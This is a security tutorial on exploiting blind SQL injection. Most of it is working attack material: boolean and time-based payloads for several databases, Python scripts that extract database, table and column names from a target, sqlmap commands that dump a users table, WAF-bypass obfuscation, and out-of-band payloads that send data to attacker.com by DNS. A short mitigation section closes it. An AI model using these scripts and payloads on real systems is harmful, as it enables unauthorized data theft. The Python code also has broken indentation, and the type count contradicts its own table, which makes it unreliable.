What is Blind SQL Injection?

Blind SQL Injection occurs when an application is vulnerable to SQL Injection, but does not return query results or error messages in the HTTP response. The attacker must infer the database content based on indirect application behaviors.

There are two main types:

TypeMechanismSpeed
Boolean-basedEvaluates TRUE/FALSE in the responseSlow
Time-basedMeasures response delay (SLEEP)Very slow
Error-basedCauses errors with embedded dataFast
Out-of-bandExfiltration via DNS/HTTPFast

Identifying the vulnerability

Basic injection test

GET /user?id=1 HTTP/1.1
Host: target.com

Inject Boolean conditions and observe differences in response:

# TRUE condition — normal response
/user?id=1 AND 1=1--

# FALSE condition — different response (no content, redirect, etc.)
/user?id=1 AND 1=2--

If the responses are visibly different between TRUE and FALSE, the endpoint is vulnerable to boolean-based blind SQLi.

Time-based test

# MySQL / MariaDB
/user?id=1 AND SLEEP(5)--

# PostgreSQL
/user?id=1 AND pg_sleep(5)--

# MSSQL
/user?id=1; WAITFOR DELAY '0:0:5'--

# Oracle
/user?id=1 AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--

If the response takes exactly 5 seconds, the backend is vulnerable.


Boolean-Based Exploitation (Manual)

The technique consists of asking yes/no questions to the database, extracting one character at a time.

Identifying the database

-- MySQL
1 AND SUBSTRING(@@version,1,1)='5'--

-- PostgreSQL
1 AND SUBSTRING(version(),1,10)='PostgreSQL'--

-- MSSQL
1 AND SUBSTRING(@@version,1,9)='Microsoft'--

Extracting the name of the current database

-- Name length
1 AND LENGTH(database())=6--

-- First character
1 AND SUBSTRING(database(),1,1)='d'--

-- Second character
1 AND SUBSTRING(database(),2,1)='v'--

Python script for boolean-based automation

#!/usr/bin/env python3
# blind_sqli_extract.py — Boolean-based extractor

import requests
import string
import sys

TARGET = "http://target.com/user"
PARAM  = "id"
CHARS  = string.ascii_lowercase + string.digits + "_-@."

def inject(payload: str) -> bool:
    """Returns True if the injection condition is TRUE."""
    params = {PARAM: f"1 AND ({payload})-- -"}
    r = requests.get(TARGET, params=params, timeout=10)
    # Adjust the marker to whatever differentiates TRUE from FALSE
    return "Welcome" in r.text

def extract_string(query: str, max_len: int = 64) -> str:
    """Extract a string value one character at a time."""
    result = ""
    for pos in range(1, max_len + 1):
        found = False
        for ch in CHARS:
            payload = f"SUBSTRING(({query}),{pos},1)='{ch}'"
            if inject(payload):
                result += ch
                sys.stdout.write(ch)
                sys.stdout.flush()
                found = True
                break
        if not found:
        break  # End of string
    print()
    return result

if __name__ == "__main__":
    print("[*] Extracting database name...")
    db = extract_string("SELECT database()")
    print(f"[+] Database: {db}")

    print("[*] Extracting first table name...")
    table = extract_string(
        f"SELECT table_name FROM information_schema.tables "
        f"WHERE table_schema='{db}' LIMIT 1"
    )
    print(f"[+] First table: {table}")

    print("[*] Extracting columns...")
    cols = extract_string(
        f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns "
        f"WHERE table_name='{table}'"
    )
    print(f"[+] Columns: {cols}")

Time-Based Exploitation (Manual)

When there is no visual difference in the response, use time delays as a channel of information.

#!/usr/bin/env python3
# time_based_sqli.py — Time-based extractor

import requests
import string
import time
import sys

TARGET    = "http://target.com/user"
PARAM     = "id"
DELAY     = 3      # seconds to sleep if TRUE
THRESHOLD = 2.5    # detection threshold
CHARS     = string.ascii_lowercase + string.digits + "_-@."

def inject_time(payload: str) -> bool:
    """Returns True if the response took longer than THRESHOLD."""
    full = f"1 AND IF(({payload}), SLEEP({DELAY}), 0)-- -"
    params = {PARAM: full}
    start = time.time()
    try:
        requests.get(TARGET, params=params, timeout=DELAY + 5)
    except requests.exceptions.Timeout:
        return True
elapsed = time.time() - start
return elapsed >= THRESHOLD

def extract_string(query: str, max_len: int = 64) -> str:
result = ""
for pos in range(1, max_len + 1):
found = False
        for ch in CHARS:
            payload = f"SUBSTRING(({query}),{pos},1)='{ch}'"
            if inject_time(payload):
                result += ch
                sys.stdout.write(ch)
                sys.stdout.flush()
                found = True
                break
        if not found:
            break
    print()
    return result

if __name__ == "__main__":
    print("[*] Time-based extraction — this will be slow...")
    db = extract_string("SELECT database()")
    print(f"[+] Database: {db}")

> NOTE: Time-based SQLi is extremely slow for long strings. Use binary search (ascii range) to optimize.

def extract_char_binary(query: str, pos: int) -> str:
    """Extract a single character using binary search on ASCII value."""
    lo, hi = 32, 126  # printable ASCII range
    while lo < hi:
        mid = (lo + hi) // 2
        payload = f"ASCII(SUBSTRING(({query}),{pos},1))>{mid}"
        if inject_time(payload):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo) if 32 <= lo <= 126 else ''

Using sqlmap

For professional automation, sqlmap is the standard tool.

# Basic detection
sqlmap -u "http://target.com/user?id=1" --batch

# Force specific techniques
sqlmap -u "http://target.com/user?id=1" \
  --technique=BT \
  --batch \
  --level=3 \
  --risk=2

# Extract database, tables, and dump
sqlmap -u "http://target.com/user?id=1" \
  --dbs \
  --batch

sqlmap -u "http://target.com/user?id=1" \
  -D target_db \
  --tables \
  --batch

sqlmap -u "http://target.com/user?id=1" \
  -D target_db \
  -T users \
  --dump \
  --batch

# Via POST request
sqlmap -u "http://target.com/login" \
  --data="username=admin&password;=test" \
  -p username \
  --batch

# Via Burp intercepted request
sqlmap -r request.txt --batch --level=5

# With authenticated session cookie
sqlmap -u "http://target.com/profile?id=1" \
  --cookie="session=abc123; csrftoken=xyz" \
  --batch

sqlmap with proxy (Burp Suite)

sqlmap -u "http://target.com/user?id=1" \
  --proxy="http://127.0.0.1:8080" \
  --batch \
  --tamper=space2comment,randomcase

WAF bypass

Useful sqlmap tamper scripts

# Space → SQL comment
--tamper=space2comment

# Random case: SELECT → SeLeCt
--tamper=randomcase

# Encode URL payloads
--tamper=percentage

# Combine multiple tampers
--tamper=space2comment,randomcase,between

Manually obfuscated payloads

-- Spaces replaced with comments
1/**/AND/**/1=1--

-- Inline comments to separate keywords
1 /*!AND*/ 1=1--

-- Hex encoding of strings
1 AND SUBSTRING(database(),1,1)=0x64--

-- Double URL encoding (for WAFs that decode once)
%2527  →  %27  →  '

Out-of-Band (OOB) Exfiltration

When both boolean and time-based are blocked, exfiltrate via DNS or HTTP.

MySQL — DNS Exfiltration

-- Requires FILE privilege and external DNS resolution
SELECT LOAD_FILE(CONCAT('\\\\',
  (SELECT database()),
  '.attacker.com\\share'))--

MSSQL — xp_dirtree DNS

-- Via xp_dirtree (no need for xp_cmdshell)
EXEC master.dbo.xp_dirtree
  '\\' + (SELECT TOP 1 table_name FROM information_schema.tables) + '.attacker.com\x'--

Capturing with interactsh or Burp Collaborator

# Start listener with interactsh-client
interactsh-client -v

# Your callback URL is: xxxx.interactsh.com
# Use in payload:
# ' AND LOAD_FILE(CONCAT('\\\\', database(), '.xxxx.interactsh.com\\x'))--

Mitigation

VectorRecommended Control
Dynamic queryUse Prepared Statements / Parameterized Queries
Insecure ORMAvoid raw queries; use ORMs with bind parameters
Verbose errorsDisable stack traces in production
Lack of WAFImplement WAF with OWASP CRS rules
Excessive permissionsDB user should only have SELECT on necessary tables
OOB via DNSBlock outgoing DNS resolution on the DB server
# SECURE: Parameterized query in Python (psycopg2)
import psycopg2

conn = psycopg2.connect("dbname=app user=readonly")
cur  = conn.cursor()

user_id = request.args.get("id")
cur.execute("SELECT username FROM users WHERE id = %s", (user_id,))
row = cur.fetchone()

References

> DISCLAIMER: This content is intended exclusively for authorized security professionals. The use of these techniques on systems without explicit authorization is illegal. KBM Security is not responsible for misuse.